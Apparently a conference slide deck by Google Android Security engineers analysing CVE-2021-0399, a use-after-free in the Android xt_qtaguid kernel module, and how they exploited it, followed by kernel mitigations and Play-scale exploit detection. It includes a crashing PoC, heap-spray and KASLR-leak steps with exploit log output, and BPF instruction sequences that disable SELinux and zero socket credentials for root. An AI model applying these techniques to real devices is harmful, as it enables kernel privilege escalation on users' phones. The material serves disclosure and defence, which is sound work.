The Art of Exploiting UAF by Ret2bpf in Android Kernel

Xingyu Jin | Richard Neal
Android Security Team, Google
Who Are We?

- Xingyu Jin
  - Security Engineer at Google
  - Occasionally play CTFs and hunting kernel bugs.
- Richard Neal
  - Android Malware Research team at Google
  - Security Engineer (and manager)
Agenda

- Kernel Internals of Android netfilter module xt_qtaguid
  - Known vulnerabilities in the past
- CVE-2021-0399 Vulnerability Analysis
- Exploit CVE-2021-0399
  - Demo on exploiting Android device
- Mitigations
- How does Google detect exploit code at scale
Android module xt_qtaguid
xt_qtaguid Introduction

- Data usage monitoring and tracking functionality since Android 3.0
  - Track the network traffic on a per-socket basis for unique app
- Module /dev/xt_qtaguid exists on Android devices since 2011
  - Replaced by eBPF since Android Q
- Userspace sends commands to kernel
  - E.g. TrafficStats.tagSocket API

```c
switch (cmd) {
    case 't':
        res = ctrl_cmd_tag(input);
        break;
    case 'u':
        res = ctrl_cmd_untag(input);
        break;
}

ctrl_fd = open("/proc/net/xt_qtaguid/curl", O_WRONLY);
if (-1 == ctrl_fd) {
    log_err("open /proc/net/xt_qtaguid/curl");
    goto quit;
}

log_info("Sending command '\%s\', command);
amount = write(ctrl_fd, command, strlen(command));
if (-1 == amount) {
```
xt_qtaguid Open Device

- Allocate struct `uid_tag_data` for every unique uid
- Allocate struct `proc_qtu_data` for every unique pid
- N:1
xt_qtaguid Tag Socket (ctrl_cmd_tag)

- Read socket fd, tag and uid from userspace
  - sscanf(input, "%c %d %llu %u", &cmd, &sock_fd, &acct_tag, &uid_int);
- Creating tag_ref and sock_tag
xt_qtaguid

- Tag socket(ctrl_cmd_tag) VS Untag socket(ctrl_cmd_untag->qtaguid_untag)
Vulnerability Analysis & Exploitation
CVE-2016-3809

- Kernel Information Leak
- Read /proc/net/xt_gtaguid/ctrl and obtain the kernel address of socket structure
  - sock=0xffffffffc01855bb80, ...
  - Strengthen CVE-2015-3636, ... exploits :-/
- You may still find OEM devices after 2017 with this bug :-/

```c
@@ -1945,7 +1945,7 @@
    f_count = atomic_long_read(
         &sock_tag_entry->socket->file->f_count);
    seq_printf(m, "sock=%p tag=0x%llx (uid=%u) pid=%u 
          + seq_printf(m, "sock=%p tag=0x%llx (uid=%u) pid=%u 
        "f_count=%lu\n", sock_tag_entry->sk,
        sock_tag_entry->tag, uid,
```
CVE-2017-13273

- Race condition due to incorrect locking
  - UAF on tag_ref_tree
- From 2011 to 2020, 2 vulnerabilities were reported in xt_qtaguid.c
  - 1 kernel heap information leak
  - 1 UAF by race

- What can possibly go wrong in 2021?
● Discovered by external researcher
  ○ In xt_qtaguid.c, there is a potential UAF.
  ○ No PoC or exploitation details provided but researcher believes it’s **impossible** to exploit on modern devices which enable CONFIG_ARM64_UAO

● Minimal crashing PoC by Richard:

```c
tag_socket(sock_fd, /*tag=*/0x12345678, getuid());
fork_result = fork();
if (fork_result == 0) {
    untag_socket(sock_fd);
} else {
    (void)waitpid(fork_result, NULL, 0);
}
exit(0);
```
Untag socket(ctrl_cmd_untag->qtaguid_untag)...
  ○ Find corresponding proc_qtu_data based on pid.
  ○ Remove sock_tag from proc_qtu_data.list.
  ○ Free sock_tag.

```c
pqd_entry = proc_qtu_data_tree_search(
    &proc_qtu_data_tree, pid);
/*
 * TODO: remove if, and start failing.
 * At first, we want to catch user-space code that is not
 * opening the /dev/xt_qtaguid.
 */
if (IS_ERR_OR_NULL(pqd_entry) || !sock_tag_entry->list.next) {
    pr_warn_once("qtaguid: %s(): 
        "User space forgot to open /dev/xt_qtaguid? 
        "pid=%u tgid=%u sk_pid=%u, uid=%u\n", __func__,
        current->pid, current->tgid, sock_tag_entry->pid,
        from_kuid(&init_user_ns, current_fsuid()));
} else {
    list_del(&sock_tag_entry->list);
```
● An application may call fork and untag the socket in the child process
  ○ So pqd_entry == NULL
● Kernel complains about the unexpected situation but doing **nothing**
● sock_tag_entry->list is not removed but sock_tag_entry is freed
  ○ UAF
Exploit CVE-2021-0399

Own your Android!

SELINUX, SECCOMP, KASLR, PAN, PXN, ADDR_LIMIT_CHECK, CONFIG_ARM64_UAO
CONFIG_SLAB_FREELIST_RANDOM CONFIG_SLAB_FREELIST_HARDENED
Targeting at recent device manufactured in 2019-2020
Security Patch level 2021 Jan + Android Pie & Kernel 4.14
(e.g. Xiaomi Mi9, OnePlus 7 Pro)
Step 0 - eventfd leaks kernel heap address

- Most devices use kmalloc-128 as the minimal size of the slab object
  - E.g. the size of the object by kmalloc(/*obj_size=*/10) is 128 bytes

```c
struct file *eventfd_file_create(unsigned int count, int flags)
{
    struct file *file;
    struct eventfd_ctx *ctx;

    /* Check the EFD_* constants for consistency. */
    BUILD_BUG_ON(EFD_CLOEXEC != 0_CLOEXEC);
    BUILD_BUG_ON(EFD_NONBLOCK != 0_NONBLOCK);

    if (flags & -EFD_FLAGS_SET)
        return ERR_PTR(-EINVAL);

    ctx = kmalloc(sizeof(*ctx), GFP_KERNEL);
    if (!ctx)
        return ERR_PTR(-ENOMEM);

    kref_init(&ctx->kref);
    init_waitqueue_head(&ctx->wq);
    ctx->count = count;
    ctx->flags = flags;

    file = anon_inode_getfile("[eventfd]", &eventfd_fops, ctx,
                              O_RDWR | (flags & EFD_SHARED_FCNTL_FLAGS));
    if (!IS_ERR(file))
        eventfd_free_ctx(ctx);
```
- Child process calls `ctrl_cmd_untag`
  - `sock_tag` is freed
  - Spray `eventfd`
- Untag another sock_tag: unlink
  - socket_tag->prev->next = socket_tag->next
• Read /proc/self/fdinfo/$fd
  ○ Info leak for the head node

```c
#ifdef CONFIG_PROC_FS
static void eventfd_show_fdinfo(struct seq_file *m, struct file *f)
{
    struct eventfd_ctxt *ctx = f->private_data;

    spin_lock_irq(&ctx->wqh.lock);
    seq_printf(m, "eventfd-count: %16llx\n",
               (unsigned long long)ctx->count);
    spin_unlock_irq(&ctx->wqh.lock);
}
#endif
```

```
[+ICEBEAR] ./eventfd.c:55 [fd=2143]Read result = pos:  0
flags:  02
mnt_id: 10
eventfd-count: ffffffff9e15b27a8
from /proc/1938/fdinfo/2143
[+ICEBEAR] ./eventfd.c:104 All spray threads(eventfd) are done ...
[+ICEBEAR] ./poc.c:501 Kernel heap leak: 0xfffffffc9e15b27a8
```
Step 1 - Double Free on kmalloc-128

- Naive try
  - Close the device(qtudev_release), will it free the sock_tag again?
  - qtudev_release will put all unlinked sock_tag to st_to_free_tree and free them later

```c
static void sock_tag_tree_erase(struct rb_root *st_to_free_tree) {
    struct rb_node *node;
    struct sock_tag *st_entry;
    node = rb_first(st_to_free_tree);
    while (node) {
        st_entry = rb_entry(node, struct sock_tag, sock_node);
        node = rb_next(node);
        CT_DEBUG("queueid: %s()":
            "erase st: sk=%p tag=0x%llx (uid=%u)\n", __func__,
            st_entry->sk,
            st_entry->tag,
            get_uid_from_tag(st_entry->tag));
        rb_erase(&st_entry->sock_node, st_to_free_tree);
        sock_put(st_entry->sk);
        kfree(st_entry);
    }
}
```
- Naive try
  - Kernel crash
- The security check in qtudev_release is rigorous
- qtudev_release will check if the tag is valid or not
  - tag_ref doesn’t exist? Crash
  - When socket is untagged, tr->num_sock_tags is dereferenced as 0x0
  - BUG_ON(tr->num_sock_tags <= 0);

```c
utd_entry = uid_tag_data_tree_search(
    &uid_tag_data_tree,
    get_uid_from_tag(st_entry->tag));
BUG_ON(IS_ERR_OR_NULL(utd_entry));
tr = tag_ref_tree_search(&utd_entry->tag_ref_tree,
    st_entry->tag);
BUG_ON(!tr);
BUG_ON(tr->num_sock_tags <= 0);
```
- Head node leaked
- Free tag B by child (UAF)
- Untag tag C by parent
  - Leak the address of tag D

```
proc.c_qtu_data
struct rb_node
  pid_t = 0x101
struct uid_tag_data *parent_tag_data
struct list_head sock_tag_list_next
struct list_head sock_tag_list_prev
```

Address leaked

```
eventfd
untagged by parent - freed
sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = B

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = C

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = D

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = E

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = F

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = G

sock_tag
  rb_node__rb_parent_color
  rb_node.rb_left
  rb_node.rb_right
  sock*
  list_head.next
  list_head.prev
  pid_t pid
  tag_t tag = A
```

The Art of Exploiting UAF by Ret2bpf in Android Kernel | Xingyu Jin & Richard Neal
- Spray on B, D with carefully crafted data for bypassing kernel checks
- Tag impersonation: “B”->”E”, “D”->”F”
- Free sprayed buffer: __rb_parent_color should be accessible for rb_erase
One more thing: CVE-2021-0399 + CVE-2016-3809

- When qtudev_release is called, `sock_put(st_entry->sk)` will be invoked
- Kernel socket UAF
- Time travel
  - CVE-2015-3636 (pingpong)
  - CVE-2017-11176 (mq_notify double sock_put)

```
static void sock_tag_tree_erase(struct rb_root *st_to_free_tree)
{
    struct rb_node *node;
    struct sock_tag *st_entry;
    node = rb_first(st_to_free_tree);
    while (node) {
        st_entry = rb_entry(node, struct sock_tag, sock_node);
        node = rb_next(node);
        CT_DEBUG("qtaguid: \%s\()
            "erase st: sk=\%p tag=0x\%llx (uid=\%u)\n", __func__,
                st_entry->sk,
                st_entry->tag,
                get_uid_from_tag(st_entry->tag));
        rb_erase(&st_entry->sock_node, st_to_free_tree);
        sock_put(st_entry->sk);
        kfree(st_entry);
    }
}
```
Step 2 - KASLR leak

- `sizeof(struct sock_tag) == 64, kmalloc-128 object == 2 sock_tag`

Kernel calls
- `kfree(sock_tag)`
- `kfree(sock_tag + 0x40)`
- Consider spraying slab at the beginning of the exploit

- Open `/proc/cpuinfo`
  - Kernel will allocate `seq_file` structures
  - `seq_file <-> eventfd_ctx`
    - slab might look like this

```
evento_ctx free evento_ctx free evento_ctx
```

```
evento_ctx seq_file evento_ctx seq_file evento_ctx
```

```
  seq_file
```

```
kfree(x+0x40)
```
• Leak
  ○ eventfd_ctx->count now becomes **const struct seq_operation** op
  ○ Spinlock still works
• Kernel ASLR leak on Xiaomi Mi9 device (released on 2019)

[*ICEBEAR*] .realloc.c:57 All sendmsg spray threads are done ...
[*ICEBEAR*] ./signalfd.c:41 All signalfd spray threads are done ...
[*ICEBEAR*] ./poc.c:269 resetting sendmsg is done...
[*ICEBEAR*] ./poc.c:272 signalfd: 0xffffffffee4ceab5a8 -> 0xffffffffee4ceeb5a8, delta = 0x40000
[*ICEBEAR*] ./realloc.c:57 All sendmsg spray threads are done ...
[*ICEBEAR*] ./poc.c:323 Now, we will call qtudev_release...
[+ICEBEAR*] ./poc.c:339 Kernel doesn't crash at this point...
[+ICEBEAR*] ./poc.c:352 Double free on kmalloc-128
[+ICEBEAR*] ./poc.c:399 KASLR leak: 0xffffffff84f6a01db8
[[ICEBEAR*] ./poc.c:401 KASLR base: 0xffffffff84f5680000
[*ICEBEAR*] ./poc.c:409 Leaking work is done...Don't give up!
[*ICEBEAR*] ./poc.c:660 Not safe to exit(sock_release), sleep forever...
Step 3 - Rooting (possible primitives)

- If CONFIG_SLAB_FREELIST_HARDENED is **not** enabled
  - Double free => KSMA (Kernel Space Mirroring Attack)
- Primitive Candidate: sk_put(sk) where you can control `sk`
  - `dec(sk->__sk_.common.skc_refcnt)` if `sk->sk_wmem_alloc > 0`
  - Possible ways to disable selinux and kptr_restrict
    - Depends on the kernel image
    - Disable kptr_restrict -> CVE-2016-3809 socket struct info leak -> sock UAF!
Controlling seq_operations

- Primitive: Overwriting seq_operations
  - `write(fd, &offset, sizeof(offset))` will overwrite seq_operations
  - Overwrite `cpuinfo_op` to `consoles_op`, so we can find the file descriptor of the overlapped seq_file
- Overwrite seq_operations to a leaked heap address
Overwriting addr_limit?

- Because of two overlapped seq_file, you may control first 64 bytes of the seq_file overlapped with the eventfd by another heap spray
- Old trick: ROP on kernel_getsockopt
  - Unfortunately it doesn’t work on 4.14 arm64
  - addr_limit_user_check is against tampering addr_limit
  - CONFIG_ARM64_UAO (enabled by default in 4.14) is against tampering addr_limit

```c
int kernel_getsockopt(struct socket *sock, int level, int optname, char *optval, int *optlen)
{
    mm_segment_t oldfs = get_fs();
    char __user *uoptval = (char __user __force * ) optval;
    int __user *uoptlen = (int __user __force * ) optlen;

    uoptval = (char __user __force * ) optval;
    uoptlen = (int __user __force * ) optlen;

    set_fs(KERNEL_DS);
    if (level == SOL_SOCKET)
        err = sock_getsockopt(sock, level, optname, uoptval, uoptlen);
    else
        err = sock->ops->getsockopt(sock, level, optname, uoptval, uoptlen);

    set_fs(oldfs);
    return err;
}
```
The Ultimate ROP

- As mentioned by Project Zero blog post “an ios hacker tries android”, Jann Horn recommends using ___bpf_prog_run for building ROP gadget
- Invoke arbitrary bpf instructions without verification
  - Arbitrary kernel R&W primitive
  - Turn off kptr_restrict & SELINUX
- Example for turning off SELINUX
  - BPF_LD_IMM64(BPF_REG_2, selinux_enforcing_addr)
  - BPF_MOV64_IMM(BPF_REG_0, 0)
  - BPF_ST_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0x0)
  - BPF_EXIT_INSN()
Root shell

- Once kptr_restrict is turned off, we can get a leaked sock address
- Hammer sock->sk_peer_cred with BPF instructions in a leaked kmalloc-128 object:
  - BPF_LD_IMM64(BPF_REG_2, sk_addr)
  - BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_2, 568)
  - BPF_MOV64_IMM(BPF_REG_0, 0x0)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 4)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 12)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 20)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 28)
  - BPF_MOV64_IMM(BPF_REG_0, -1)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 40)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 48)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 56)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 64)
  - BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 72)
  - BPF_EXIT_INSN()

- Are there other ways to do exploit? Yes
PWN Mi9 device in less than 10 seconds!
Detecting & Mitigating Exploitation
Mitigations
● Freelist is encrypted -> __rb_parent_color becomes invalid
● signalfd(-1, &sigmask, 0x0)
  ■ sigmask = ~head_address
  ■ signalfd_ctx->sigmask = head_addr | 0x40100
● MCAST_JOIN_GROUP may also work for similar scenarios
Kernel Electric Fence

- KFENCE is a low-overhead sampling-based memory safety error detector of heap use-after-free, invalid-free, and out-of-bounds access errors.
- KFENCE hooks to the SLAB and SLUB allocators.
- Compared to KASAN, KFENCE trades performance for precision.
  - Guarded allocations are set up based on a sample interval.
CONFIG_ARM64_UAO

- Kernel memory access technique
  - Overwrite addr_limit
  - Use pipes to read/write kernel memory
- ARMv8.2-A User Access Override
  - Changes behaviour of LDTR and STTR above EL0
  - Allows Privileged Access Never (PAN) to be enabled all the time
Seq_file Isolation / KSMA defense

- seq_file has its dedicated cache
- Researcher Jun Yao also had proposals about making Android exploitation more difficult by defeating KSMA
  - [https://lore.kernel.org/patchwork/cover/912210/](https://lore.kernel.org/patchwork/cover/912210/)

```c
static struct kmem_cache *seq_file_cache __ro_after_init;
static void seq_set_overflow(struct seq_file *m)
{
    m->count = m->size;
    WARN_ON(file->private_data);
    p = kmalloc(sizeof(*p), GFP_KERNEL);
    if (!p)
        return -ENOMEM;

    struct seq_file *m = file->private_data;
    kfree(m->buf);
    kmem_cache_free(seq_file_cache, m);
    return 0;
}
EXPORT_SYMBOL(seq_release);
```
Kernel Control Flow Integrity

- Blocks attackers from redirecting the flow of execution
- Available from 2018 in Android kernel 4.9 and above
  - Uses LTO and CFI from clang
- Relevant change in `seq_read`:
  ```c
  show = private_data->op->show;
  if ( __ROR8__((char *)show - (char *)__typeid__ZTSFiP8seq_filePvE_global_addr, 2) >= 0x184uLL )
     _cfi_slowpath(0x5233D5BC7887AE44uLL, private_data->op->show, 0LL);
  v31 = show(private_data, (void *)v34);
  ```
- Detects the modified `show` pointer -> panic()
CONFIG_BPF_JIT_ALWAYS_ON

- Required for Android but not on ARM32
- BPF must use JIT
  - No interpreter
  - `__bpf_prog_run` is not compiled, cannot be called
CONFIG_DEBUG_LIST

- Now **required** for Android (**recommended** by Maddie from P0)
- **__list_add_valid** and **__list_del_entry_valid** check link pointers:

```c
bool __list_add_valid(struct list_head *new, struct list_head *prev, struct list_head *next) {
    if (CHECK_DATA_CORRUPTION(next->prev != prev,
            "list_add corruption. next->prev should be prev (%px), but was %px. (next=%px)\n",
            prev, next->prev, next) ||
        CHECK_DATA_CORRUPTION(prev->next != next,
            "list_add corruption. prev->next should be next (%px), but was %px. (prev=%px)\n",
            next, prev->next, prev) ||
        CHECK_DATA_CORRUPTION(new == prev || new == next,
            "list_add double add: new=%px, prev=%px, next=%px\n",
            new, prev, next))
        return false;
    return true;
}
```
Detect Exploits at Scale
On-Device Protection

- Application **verifier**
- Similarity analysis against known-bad APKs
- Detection rules
- **Advanced Protection**
Backend Infrastructure

- Google Play applications are constantly analysed
- Generation of data
  - Static analysis
    - APK contents
    - Unpacking
    - Deobfuscation
  - Dynamic analysis
- Interpreting data
Manual Analysis

- **Sources**
  - Internal collaboration - Android Security Assurance, Project Zero, TAG, Trust & Safety
  - External reports

- **Work**
  - Reverse engineering + Research

- **Outputs**
  - Documentation, new detection techniques / systems
Behavioural Detection

- What the code does, not what it looks like
- Root exploits need to interact with the kernel
Behavioural Detection

- eBPF allows monitoring of calls and parameters
- Look for evidence of exploit behaviour, e.g. floods
- Interesting syscalls
  - fsetxattr+inotify
  - getsockopt / setsockopt MCAST_JOIN_GROUP
CVE-2018-9568

```
('timestamp_ns': 512454732016490, 'name': 'sys_clone', 'retval': 19331, 'cloneflags': 18874385, 'newsp': 0, 'parent_tid': 0, 'tls': 0, 'child_tid': 184467448, 73709551615)
Loop in 19293, 8 iterations
('timestamp_ns': 512454989554744, 'name': 'sys mmap', 'retval': 536480104440, 'addr': 0, 'length': 1036288, 'prot': 0, 'flags': 16418, 'fd': 4294967295, 'offset': 0)
('timestamp_ns': 5124549989528338, 'name': 'sys protect', 'retval': 0, 'addr': 536480108544, 'len': 1028096, 'prot': 3)
('timestamp_ns': 5124549989547817, 'name': 'sys clone', 'retval': 19399, 'cloneflags': 4001536, 'newsp': 536481123508, 'parent_tid': 19399, 'tls': 536481124360, 'child_tid': 19399)
Loop in 19408, 19 iterations
('timestamp_ns': 51245501396101, 'name': 'sys socket', 'retval': 20, 'domain': 2, 'type': 1, 'protocol': 6)
Loop in 19408, 19 iterations
('timestamp_ns': 512455014078341, 'name': 'sys socket', 'retval': 31, 'domain': 2, 'type': 1, 'protocol': 6)
Loop in 19414, 19 iterations
('timestamp_ns': 512455014421153, 'name': 'sys socket', 'retval': 67, 'domain': 2, 'type': 1, 'protocol': 6)
Loop in 19407, 19 iterations
('timestamp_ns': 512455013949122, 'name': 'sys socket', 'retval': 18, 'domain':
```

The Art of Exploiting UAF by Ret2bpf in Android Kernel | Xingyu Jin & Richard Neal
Summary

- Researchers
  - Keep looking for workarounds

- Users
  - Multiple levels of mitigation block all these techniques
  - Generic Kernel Image will get updates to users faster
Thank you!

- Thanks Jann Horn for suggesting Android exploitation tips on real physical Android devices.
- Thanks Ziwai Zhou for donating his Mi9 device.
Thank You for Joining Us
Join our Discord channel to discuss more or ask questions
https://discord.gg/dXE8ZMvU9J